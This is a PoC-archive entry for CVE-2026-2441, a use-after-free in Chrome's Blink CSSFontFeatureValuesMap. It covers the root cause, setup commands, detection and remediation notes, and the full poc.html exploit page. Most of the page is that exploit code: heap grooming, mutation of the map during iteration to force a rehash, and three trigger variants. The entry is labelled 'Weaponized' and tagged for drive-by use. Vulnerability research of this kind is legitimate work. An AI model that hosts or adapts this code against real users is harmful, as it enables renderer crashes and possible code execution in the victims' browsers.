PoC Archive PoC Archive
High CVE-2026-2441 unpatched

Chrome CSSFontFeatureValuesMap Use-After-Free (CVE-2026-2441)

by huseyinstif · 2026-05-16

CVSS 8.8/10
Severity
High
CVE
CVE-2026-2441
Category
web
Affected product
Google Chrome / Chromium-based browsers (Blink CSS engine)
Affected versions
Chrome < 145.0.7632.75 (Windows/macOS stable), Chrome < 144.0.7559.75 (Linux stable), Extended Stable < 144.0.7559.177
Disclosed
2026-05-16
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-16
Author / Researcherhuseyinstif
CVE / AdvisoryCVE-2026-2441
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSSv3)
StatusWeaponized
Tagsuse-after-free, Chrome, Blink, CSSOM, renderer-rce, unauthenticated, drive-by
RelatedN/A

Affected Target

FieldValue
Software / SystemGoogle Chrome / Chromium-based browsers (Blink CSS engine)
Versions AffectedChrome < 145.0.7632.75 (Windows/macOS stable), Chrome < 144.0.7559.75 (Linux stable), Extended Stable < 144.0.7559.177
Language / PlatformHTML + JavaScript PoC / Desktop browsers
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-2441 is a Blink use-after-free vulnerability in CSSFontFeatureValuesMap iteration logic. A crafted web page mutates a styleset map while iterating through entries, which can invalidate internal structures and trigger renderer memory safety failure on vulnerable builds. In unpatched versions this can crash the renderer and may enable attacker-controlled code execution in the renderer sandbox as part of a browser exploit chain.


Vulnerability Details

Root Cause

FontFeatureValuesMapIterationSource used a raw pointer to the internal FontFeatureAliases HashMap. During iteration, attacker-driven set() / delete() operations can force HashMap rehashing and free the old storage. Subsequent iterator reads can dereference stale state, resulting in a use-after-free.

Attack Vector

An attacker hosts a malicious page that defines @font-feature-values, obtains rule.styleset, and repeatedly mutates the map during iteration (entries(), for...of, and requestAnimationFrame-driven variants). Visiting the page in a vulnerable browser is enough to trigger the bug path.

Impact

The immediate impact is renderer process crash (STATUS_ACCESS_VIOLATION/SIGSEGV) and potential renderer-sandbox code execution. In high-end threat scenarios, this can be chained with sandbox escape and privilege escalation vulnerabilities to reach full system compromise.


Environment / Lab Setup

OS:          Windows/macOS/Linux test host
Target:      Vulnerable Chrome/Chromium build listed above
Attacker:    Authorized researcher-controlled web content host
Tools:       Chrome/Chromium, local HTTP server (optional)

Setup Steps

1
2
3
4
git clone --depth=1 https://github.com/huseyinstif/CVE-2026-2441-PoC /tmp/CVE-2026-2441-PoC

cd /tmp/CVE-2026-2441-PoC
python3 -m http.server 8000

Proof of Concept

Step-by-Step Reproduction

  1. Prepare vulnerable browser — use an authorized lab build below fixed versions.
  2. Load PoC page — open poc.html from this directory.
  3. Trigger iterator invalidation — let the script run its mutation loops and heap-grooming logic.
  4. Observe behavior — vulnerable builds may crash renderer with STATUS_ACCESS_VIOLATION/SIGSEGV; patched builds should complete.

Exploit Code

See poc.html in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const iterator = map.entries();
while (step < 20) {
  const result = iterator.next();
  if (result.done) break;
  const [key] = result.value;

  map.delete(key);
  for (let i = 0; i < 512; i++) {
    map.set(`spray_${step}_${i}`, [i, i + 1, i + 2]);
  }

  step++;
}

Expected Output

Unpatched (vulnerable): renderer crash (e.g., STATUS_ACCESS_VIOLATION / SIGSEGV)
Patched (fixed): script completes without renderer crash

Screenshots / Evidence

  • screenshots/ — add authorized lab crash evidence for vulnerable version and successful completion on patched version

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

Detect suspicious pages that repeatedly mutate CSSFontFeatureValuesMap
(entries()/for...of) with high-volume key sprays and correlate with
renderer crash telemetry on vulnerable Chrome versions.

Remediation

ActionDetail
PatchUpdate Chrome/Chromium to fixed versions (>= 145.0.7632.75 on Windows/macOS stable, >= 144.0.7559.75 on Linux stable)
WorkaroundRestrict use of outdated browser builds in enterprise environments and enforce rapid browser patching
Config HardeningEnable strict browser update policies, isolate high-risk browsing contexts, and monitor renderer crash anomalies

References


Notes

Auto-ingested from https://github.com/huseyinstif/CVE-2026-2441-PoC on 2026-05-16.

poc.html
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<!DOCTYPE html>
<!--
  CVE-2026-2441 — CSSFontFeatureValuesMap Iterator Invalidation (UAF) PoC
  DISCLAIMER: For authorized security research only. Do not use on systems without explicit permission.
  
  Vulnerability: Blink CSS engine, third_party/blink/renderer/core/css/css_font_feature_values_map.cc
  Root cause: FontFeatureValuesMapIterationSource held a raw pointer to the FontFeatureAliases
              HashMap (const FontFeatureAliases* aliases_). When the map is mutated during
              iteration (set/delete), the HashMap rehashes, the old storage is freed, and the
              pointer becomes dangling → Use-After-Free.
  
  Fix: const FontFeatureAliases* aliases_  →  const FontFeatureAliases aliases_ (deep copy)
  Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c
  
  Target: Chrome <= 144.0.x (all versions prior to 145.0.7632.75)
  Expected result (unpatched): Renderer process crash (SIGSEGV / heap corruption)
  Expected result (patched):   No crash, test passes normally
-->
<html>
<head>
  <meta charset="utf-8">
  <title>CVE-2026-2441 PoC — CSSFontFeatureValuesMap UAF</title>
  <style>
    body { font-family: monospace; background: #111; color: #0f0; padding: 20px; }
    #log { white-space: pre; font-size: 13px; }
    .ok   { color: #0f0; }
    .warn { color: #ff0; }
    .fail { color: #f44; }
    .info { color: #08f; }
  </style>

  <!--
    @font-feature-values at-rule: CSS Fonts Level 4 specification.
    This rule creates a CSSFontFeatureValuesRule CSSOM object.
    rule.styleset  → CSSFontFeatureValuesMap (HashMap wrapper)
    The vulnerability is triggered by the iteration + mutation combination on this Map.
  -->
  <style id="target-style">
    @font-feature-values VulnTestFont {
      @styleset {
        entry_a: 1;
        entry_b: 2;
        entry_c: 3;
        entry_d: 4;
        entry_e: 5;
        entry_f: 6;
        entry_g: 7;
        entry_h: 8;
      }
    }
  </style>
</head>
<body>
<h2>CVE-2026-2441 — CSSFontFeatureValuesMap UAF PoC</h2>
<div id="log"></div>

<script>
"use strict";

const log = document.getElementById("log");
function print(msg, cls = "") {
  const span = document.createElement("span");
  span.className = cls;
  span.textContent = msg + "\n";
  log.appendChild(span);
}

print("[*] CVE-2026-2441 PoC starting...", "info");
print("[*] Target: CSSFontFeatureValuesMap iterator invalidation (UAF)", "info");
print("[*] Blink source: css_font_feature_values_map.cc", "info");
print("");

// ─── 1. Obtain the CSSOM object ──────────────────────────────────────────────
const sheet = document.getElementById("target-style").sheet;
if (!sheet || sheet.cssRules.length === 0) {
  print("[!] ERROR: @font-feature-values rule not found.", "fail");
  throw new Error("CSS rule not found");
}

const rule = sheet.cssRules[0];
print("[+] CSSFontFeatureValuesRule found: " + rule.fontFamily, "ok");

// CSSFontFeatureValuesMap object
// In Blink, this object is a CSSOM wrapper around the FontFeatureAliases HashMap.
const map = rule.styleset;
if (!map) {
  print("[!] ERROR: rule.styleset is not accessible. Browser may not support this API.", "fail");
  throw new Error("styleset not available");
}
print("[+] CSSFontFeatureValuesMap obtained. Size: " + map.size, "ok");
print("");

// ─── 2. Heap Grooming ────────────────────────────────────────────────────────
// Goal: Bring the heap into a predictable state.
// By creating multiple @font-feature-values rules, we allocate same-sized
// FontFeatureAliases objects. This facilitates memory reclaim after the UAF.
print("[*] Starting heap grooming...", "info");

const groomRules = [];
const groomStyle = document.createElement("style");
document.head.appendChild(groomStyle);

for (let i = 0; i < 50; i++) {
  groomStyle.sheet.insertRule(
    `@font-feature-values GroomFont${i} { @styleset { g${i}: ${i}; } }`,
    groomStyle.sheet.cssRules.length
  );
  groomRules.push(groomStyle.sheet.cssRules[groomStyle.sheet.cssRules.length - 1]);
}
print("[+] " + groomRules.length + " groom objects created.", "ok");

// ─── 3. UAF Trigger — Iterator Invalidation ─────────────────────────────────
//
// Vulnerability mechanism (unpatched Blink):
//
//   When CreateIterationSource() is called:
//     FontFeatureValuesMapIterationSource(map, aliases_)
//     → aliases_ (raw pointer) points to the internal HashMap
//     → iterator_ = aliases_->begin()
//
//   When FetchNextItem() is called:
//     → iterator_->key is read
//
//   If map.delete() or map.set() is called in between:
//     → HashMap rehashes (new allocation, old storage freed)
//     → aliases_ now points to freed memory (dangling pointer)
//     → iterator_ is also invalidated
//     → Next FetchNextItem() → USE-AFTER-FREE → CRASH
//
print("[*] Starting UAF trigger...", "info");
print("[*] Strategy: iterator.next() + map.delete() + map.set() x N (force rehash)", "info");
print("");

let crashDetected = false;
let iterationCount = 0;

try {
  // Create iterator — at this point Blink creates an IterationSource with a raw pointer
  const iterator = map.entries();

  let step = 0;
  while (step < 20) {
    // iterator.next() → FetchNextItem() call
    // Unpatched Blink: reads through dangling pointer
    const result = iterator.next();
    
    if (result.done) {
      print("    [.] Iterator exhausted (step=" + step + ")", "warn");
      break;
    }

    const [key, value] = result.value;
    iterationCount++;
    print("    [>] Entry: " + key + " = " + JSON.stringify(value) + " (step=" + step + ")", "ok");

    // ── MUTATION: Modify the HashMap ─────────────────────────────────────
    // This triggers a HashMap rehash.
    // In unpatched Blink, the aliases_ pointer becomes dangling after this.
    
    // Delete the current key
    map.delete(key);

    // Add many new keys → force rehash
    // WTF::HashMap default load factor ~0.75; 512+ entries will definitely trigger rehash
    // Each set() call potentially reallocates internal storage
    for (let i = 0; i < 512; i++) {
      map.set("spray_" + step + "_" + i, [i, i + 1, i + 2]);
    }

    // Also modify groom objects — fill the freed memory
    for (let g = 0; g < groomRules.length; g++) {
      try {
        groomRules[g].styleset.set("reclaim_" + step + "_" + g, [step]);
      } catch(e) {}
    }

    step++;
  }

  print("");
  print("[+] Iteration completed (" + iterationCount + " entries processed).", "ok");

} catch (e) {
  crashDetected = true;
  print("[!] EXCEPTION caught: " + e.message, "fail");
  print("[!] This may be the UAF manifesting at the JavaScript layer.", "fail");
}

// ─── 4. Results ──────────────────────────────────────────────────────────────
print("");
print("─".repeat(60), "info");
print("[*] RESULTS:", "info");

const ua = navigator.userAgent;
const chromeMatch = ua.match(/Chrome\/([\d.]+)/);
const chromeVersion = chromeMatch ? chromeMatch[1] : "unknown";
print("[*] Chrome version: " + chromeVersion, "info");

// Version comparison
// Dev/Canary builds have build number 0: 145.0.0.0
// In that case major.minor is not enough, full build number is required.
function parseVersion(v) {
  const parts = v.split(".").map(Number);
  return {
    major: parts[0] || 0,
    minor: parts[1] || 0,
    build: parts[2] || 0,
    patch: parts[3] || 0,
    isDevBuild: (parts[2] === 0 && parts[3] === 0)
  };
}

function isVulnerable(vStr) {
  const v = parseVersion(vStr);
  // Dev/Canary build (x.x.0.0): receives upstream fix early, considered safe
  if (v.isDevBuild) return false;
  // major < 145 → definitely vulnerable
  if (v.major < 145) return true;
  // major > 145 → patched
  if (v.major > 145) return false;
  // major === 145: check build number
  if (v.build < 7632) return true;
  if (v.build > 7632) return false;
  // build === 7632: check patch
  return v.patch < 75;
}

if (chromeMatch) {
  const v = parseVersion(chromeVersion);
  if (v.isDevBuild) {
    print("[?] Dev/Canary build detected (" + chromeVersion + ").", "warn");
    print("[?] Dev builds receive upstream fixes early — likely PATCHED.", "warn");
    print("[?] Use stable/beta channel (<= 144.0.x) for accurate testing.", "warn");
  } else if (isVulnerable(chromeVersion)) {
    print("[!] THIS VERSION IS VULNERABLE! (" + chromeVersion + " < 145.0.7632.75)", "fail");
    print("[!] Renderer crash expected — if no crash occurred, sandbox or other", "fail");
    print("[!] mitigations may have altered the trigger conditions.", "fail");
  } else {
    print("[+] This version is patched. (" + chromeVersion + " >= 145.0.7632.75)", "ok");
    print("[+] No crash expected — the fix prevents iterator invalidation.", "ok");
  }
} else {
  print("[?] Chrome version could not be detected.", "warn");
}

if (crashDetected) {
  print("[!] Exception detected — UAF was partially triggered.", "fail");
} else {
  print("[+] No exception — either patched version, or the crash killed the renderer", "ok");
  print("    (if the renderer crashed, this line would never execute).", "ok");
}

print("");
print("[*] Commit: 63f3cb4864c64c677cd60c76c8cb49d37d08319c", "info");
print("[*] Diff:   css_font_feature_values_map.cc", "info");
print("[*] Fix:    const FontFeatureAliases* → const FontFeatureAliases (deep copy)", "info");
print("─".repeat(60), "info");

// ─── 5. Alternative trigger via for...of ─────────────────────────────────────
// Some Blink versions use a different code path for for...of iteration.
print("");
print("[*] Alternative trigger: for...of + concurrent mutation...", "info");

try {
  // Retry with a fresh map
  const style2 = document.createElement("style");
  document.head.appendChild(style2);
  style2.sheet.insertRule(
    `@font-feature-values AltFont {
      @styleset { x1: 10; x2: 20; x3: 30; x4: 40; x5: 50; }
    }`, 0
  );
  const rule2 = style2.sheet.cssRules[0];
  const map2 = rule2.styleset;

  let altCount = 0;
  for (const [k, v] of map2) {
    altCount++;
    // Mutation during iteration
    map2.delete(k);
    for (let i = 0; i < 512; i++) {
      map2.set("alt_" + altCount + "_" + i, [i, i]);
    }
    if (altCount >= 5) break;
  }
  print("[+] for...of completed (" + altCount + " iterations).", "ok");
} catch(e) {
  print("[!] for...of exception: " + e.message, "fail");
}

// ─── 6. Async trigger via requestAnimationFrame ──────────────────────────────
// Forces layout recalculation via offsetWidth inside a rAF loop,
// re-triggering the CSS engine.
print("");
print("[*] Starting rAF + layout recalc trigger...", "info");

const style3 = document.createElement("style");
document.head.appendChild(style3);
style3.sheet.insertRule(
  `@font-feature-values RafFont {
    @styleset { r1: 1; r2: 2; r3: 3; r4: 4; r5: 5; }
  }`, 0
);
const rule3 = style3.sheet.cssRules[0];
const map3 = rule3.styleset;

let rafCount = 0;
let rafIterator = map3.entries();

function rafTrigger() {
  if (rafCount >= 10) {
    print("[+] rAF trigger completed (" + rafCount + " frames).", "ok");
    print("");
    print("[*] PoC finished. See results above.", "info");
    print("");
    print("[*] SUMMARY:", "info");
    print("[*]   Vulnerable : Chrome <= 144.x (stable) or < 145.0.7632.75", "info");
    print("[*]   Patched    : Chrome >= 145.0.7632.75 (stable)", "info");
    print("[*]   Dev build  : e.g. 145.0.0.0 — receives upstream fix early", "info");
    print("[*]   No crash   : Version is patched OR renderer silently crashed", "info");
    print("[*]   Crash      : UAF successfully triggered", "info");
    return;
  }

  // Force layout recalc — re-trigger CSS engine
  void document.body.offsetWidth;

  // Iterator step
  const result = rafIterator.next();
  if (!result.done) {
    const [k] = result.value;
    map3.delete(k);
    for (let i = 0; i < 512; i++) {
      map3.set("raf_" + rafCount + "_" + i, [rafCount, i]);
    }
  }

  rafCount++;
  requestAnimationFrame(rafTrigger);
}

requestAnimationFrame(rafTrigger);
</script>
</body>
</html>